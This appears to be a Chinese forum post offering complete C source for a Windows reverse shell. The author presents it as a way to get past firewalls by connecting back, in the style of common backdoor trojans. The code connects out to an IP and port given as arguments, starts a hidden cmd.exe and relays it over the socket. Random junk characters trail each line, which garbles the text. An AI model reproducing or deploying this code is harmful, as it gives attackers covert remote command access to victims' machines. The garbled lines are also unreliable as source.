这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WA.AFt
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/* ============================== RH(V^09[o
Rebound port in Windows NT [;KmT{I9
By wind,2006/7 z<pJYpxH
===============================*/ \cQ .|S
#include R#(G%66
#include 4DLq}v
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#pragma comment(lib,"wsock32.lib") "+|L_iuNQ
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void OutputShell(); Bf]$X>d
SOCKET sClient; sG,+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [$a<b/4
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void main(int argc,char **argv) G#[*|+f8
{ M=y0PCD
WSADATA stWsaData; }"zC
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int nRet; 59*M"1['Q
SOCKADDR_IN stSaiClient,stSaiServer; KrKu7]If6#
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if(argc != 3) !QEL"iJ6M'
{ U,;xZe
printf("Useage:\n\rRebound DestIP DestPort\n"); B9X8
return; 7>i2OBkAhB
} k\N4@UK
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WSAStartup(MAKEWORD(2,2),&stWsaData); [f!O6moR6
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [B^ G-
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stSaiClient.sin_family = AF_INET; )%Ru#}1X6
stSaiClient.sin_port = htons(0); 6^#uLp>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s_eOcm
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ] hE="z=n
{ @Bs0Avj.
printf("Bind Socket Failed!\n"); 4h|dHXYZ
return; 7=P^_LcU
} o
}@n>R
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stSaiServer.sin_family = AF_INET; 8o-bd_
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?Zz'|.l@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [@"wd_f{l
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u&]vd /
{ |n6Eg9
printf("Connect Error!"); x&=9P e(
return; A0xC,V~z
} ~kKrDLW+
OutputShell(); &L4
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} J]pa4C`
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void OutputShell() ULBg{e?l8
{ 7m1KR#j
char szBuff[1024]; Q\kub_I{@
SECURITY_ATTRIBUTES stSecurityAttributes; Sm|(
OSVERSIONINFO stOsversionInfo; m)&znLA
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SEF6B45}1
STARTUPINFO stStartupInfo; `UzVS>]l[+
char *szShell;
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PROCESS_INFORMATION stProcessInformation; 5bX6#5uP1
unsigned long lBytesRead; ii4B?E
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X-JV'KE}^z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %_gho
stSecurityAttributes.lpSecurityDescriptor = 0; |M5-5)
stSecurityAttributes.bInheritHandle = TRUE; 68t}w^=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H{fM%*w
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6)*xU|fU
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (P@Y36j>N
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IcF@F>>
stStartupInfo.wShowWindow = SW_HIDE; 85 ]SC$
stStartupInfo.hStdInput = hReadPipe; :tGYs8UK
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; g]$
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GetVersionEx(&stOsversionInfo);
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switch(stOsversionInfo.dwPlatformId) J7&DR^.Sw
{ Fhj8lVvk
case 1: [}o~PN:sT(
szShell = "command.com"; k%Vv?{g
break; g-)mav
default: cT'w=
szShell = "cmd.exe"; fCUT[d +H
break; [Ot,q/hBJ
} 3]LN;s]ac
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (> "QVxr
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send(sClient,szMsg,77,0); :FQ1[X1xm
while(1) pY}/j;.[
{ U;^[$Aq
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )0CQP
if(lBytesRead) H;KDZO9W
{ @Hjea1@t
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8X7{vN_3K
send(sClient,szBuff,lBytesRead,0); #hxyOq,
} &0v.E"0<
else 46,j9x
{ f_6`tq m%
lBytesRead=recv(sClient,szBuff,1024,0); Nhf~PO({&
if(lBytesRead<=0) break; dcq#TBo8
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Q~,YbZ-7
} hR)2xz
} jBtj+TL8
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return; <'m6^]:
}